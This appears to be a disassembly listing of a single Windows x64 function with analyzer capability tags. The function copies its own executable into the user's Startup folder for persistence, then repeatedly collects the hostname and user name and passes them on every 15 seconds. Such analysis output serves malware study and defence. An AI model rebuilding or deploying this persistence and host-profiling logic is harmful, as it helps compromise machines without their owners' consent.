Function at 0x140008290
Capabilities:
Get common file path
Get hostname
Get session user name
Get startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x7f0
mov rax, qword [0x140076040]
xor rax, rsp
mov qword [rsp + 0x7e0], rax
xor r12d, r12d
mov r13d, r12d
mov dword [rsp + 0x50], r12d
mov r8d, 0x104
lea rdx, [rsp + 0x4c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140008565
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x4c0]
mov rbx, 0xffffffffffffffff
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], r12b
jne 0x140008310
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xd8]
call fcn.140001cd0
mov r13d, 0x200
xor r9d, r9d
lea r8d, [r9 + 7]
lea rdx, [rsp + 0x2c0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x140008558
lea rax, [0x14005fa48]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0xf
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x180]
call fcn.140001cd0
nop
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2c0]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400083a0
mov qword [rsp + 0x48], rbx
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x1a0]
call fcn.140001cd0
mov r13d, 0xe00
mov dword [rsp + 0x50], r13d
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x118]
call fcn.1400030b0
mov dword [rsp + 0x50], 0x1e00
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x118]
call fcn.1400044d0
nop
lea rcx, [rsp + 0x1a0]
call fcn.140006750
nop
lea rcx, [rsp + 0x180]
call fcn.140006750
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x140], xmm0
movups xmmword [rsp + 0x150], xmm0
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x160]
call fcn.1400030b0
mov dword [rsp + 0x40], r12d
lea rbx, [0x140076020]
mov qword [rsp + 0x48], rbx
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x140]
call fcn.140006510
test eax, eax
je 0x140008499
mov ecx, eax
sub ecx, 2
je 0x140008499
sub ecx, 1
je 0x140008499
sub ecx, 0x32
je 0x140008499
cmp ecx, 0x46
je 0x140008499
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x48], rbx
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x1400084cb
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rax, qword [rsp + 0x160]
mov qword [rsp + 0x170], r12
mov word [rax], r12w
mov eax, dword [rsp + 0x40]
test eax, eax
jne 0x1400084ee
lea r9, [rsp + 0x40]
lea r8d, [rax + 2]
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x140]
call fcn.140004ce0
nop
lea rcx, [rsp + 0x160]
call fcn.140006750
cmp dword [rsp + 0x40], 0
je 0x140008523
lea r9, [rsp + 0x118]
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0x40]
lea rcx, str.copy
call fcn.140006630
lea rdx, str.Executable_copied_to_startup_folder_successfully.
lea rcx, [0x140078280]
call fcn.140001230
mov rcx, rax
call fcn.140002b70
nop
jmp 0x14000854a
lea rcx, [rsp + 0x118]
call fcn.140006750
nop
lea rcx, [rsp + 0xd8]
call fcn.140006750
movzx r14d, byte [rsp + 0x30]
movzx edi, byte [rsp + 0x30]
movzx ebx, byte [rsp + 0x30]
movzx r15d, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
lea rcx, [rsp + 0x58]
call fcn.140008ed0
test al, al
je 0x140008c89
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], r12
mov qword [rsp + 0xf0], 0xf
mov byte [rsp + 0xd8], 0
lea rcx, [rsp + 0x118]
call fcn.140004960
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x50], 0x100
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x140008656
lea rcx, [rsp + 0x1c0]
call fcn.1400031e0
nop
lea r9, [rsp + 0x2c0]
cmp word [rsp + 0x2c0], 0
je 0x14000862b
nop dword [rax]
add r9, 2
cmp word [r9], 0
jne 0x140008620
lea r8, [rsp + 0x2c0]
lea rdx, [rsp + 0x140]
mov rcx, rax
call fcn.140007e50
or r13d, 0x18
lea rcx, [rsp + 0x1c0]
call fcn.140004150
jmp 0x140008687
xorps xmm0, xmm0
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], 1
mov qword [rsp + 0x158], 0xf
mov word [rsp + 0x140], 0x7e
or r13d, 8
mov dword [rsp + 0x54], 0x101
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0x5d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140008713
lea rcx, [rsp + 0x240]
call fcn.1400031e0
nop
lea r9, [rsp + 0x5d0]
cmp word [rsp + 0x5d0], 0
je 0x1400086db
nop word [rax + rax]
add r9, 2
cmp word [r9], 0
jne 0x1400086d0
lea r8, [rsp + 0x5d0]
lea rdx, [rsp + 0x78]
mov rcx, rax
call fcn.140007e50
or r13d, 0x60
lea rcx, [rsp + 0x240]
call fcn.140004150
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
jmp 0x140008740
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov ecx, 1
mov qword [rsp + 0x88], rcx
mov edx, 0xf
mov qword [rsp + 0x90], rdx
mov word [rsp + 0x78], 0x7e
or r13d, 0x20
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140008779
lea rax, [rcx + 2]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x78]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x78]
mov word [rax + rcx], 0x202c
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x78]
jmp 0x14000879c
mov qword [rsp + 0x20], 2
lea r9, [0x14005faa4]
movzx r8d, sil
mov edx, 2
lea rcx, [rsp + 0x78]
call fcn.140002030
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1b0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r13d, 7
lea r9, [rsp + 0x140]
lea r8, [rsp + 0x1a0]
movzx edx, r15b
lea rcx, [rsp + 0xb8]
call fcn.140002eb0
bts r13d, 8
mov dword [rsp + 0x54], r13d
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xd0]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14000885b
lea rax, [rcx + 5]
mov qword [rsp + 0xc8], rax
lea r13, [rsp + 0xb8]
cmp rdx, 0xf
cmova r13, qword [rsp + 0xb8]
add r13, rcx
mov r8d, 5
lea rdx, str.__
mov rcx, r13
call fcn.14005bfe0
mov byte [r13 + 5], 0
lea rax, [rsp + 0xb8]
mov r13d, dword [rsp + 0x54]
jmp 0x140008881
mov qword [rsp + 0x20], 5
lea r9, str.__
movzx r8d, dil
mov edx, 5
lea rcx, [rsp + 0xb8]
call fcn.140002030
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x190], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r13d, 1
mov r9, qword [rsp + 0x40]
lea r8, [rsp + 0x180]
movzx edx, r14b
lea rcx, [rsp + 0x98]
call fcn.140002eb0
or r13d, 2
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x14000891f
lea rax, [rcx + 2]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x98]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x98]
mov word [rax + rcx], 0x7c7c
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x98]
jmp 0x140008945
mov qword [rsp + 0x20], 2
lea r9, [0x14005fa98]
movzx r8d, bl
mov edx, 2
lea rcx, [rsp + 0x98]
call fcn.140002030
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x108], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r13d, 4
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0xf8]
call fcn.14000a0a0
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x1400089e8
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400089e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008cd6
call fcn.1400353ac
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], 0xf
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x140008a47
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008cdc
call fcn.1400353ac
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xb0], 0xf
mov byte [rsp + 0x98], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 0xf
jbe 0x140008aa7
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ce2
call fcn.1400353ac
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x140008aea
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ae5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ce8
call fcn.1400353ac
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0xd0], 0xf
mov byte [rsp + 0xb8], 0
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0xf
jbe 0x140008b4a
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008cee
call fcn.1400353ac
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x140008b8a
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008cf4
call fcn.1400353ac
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x158]
cmp rdx, 0xf
jbe 0x140008be7
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008be1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008cfa
call fcn.1400353ac
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0xf
jbe 0x140008c2a
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008d00
call fcn.1400353ac
mov qword [rsp + 0x128], r12
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x140008c89
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008d06
call fcn.1400353ac
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140008580
mov rdx, qword [rsp + 0x68]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ccc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008d0c
call fcn.1400353ac
jmp 0x140008580
call fcn.14003c10c
nop
call fcn.14003c10c
nop
call fcn.14003c10c
nop
call fcn.14003c10c
nop
call fcn.14003c10c
nop
call fcn.14003c10c
nop
call fcn.14003c10c
nop
call fcn.14003c10c
nop
call fcn.14003c10c
nop
call fcn.14003c10c
int3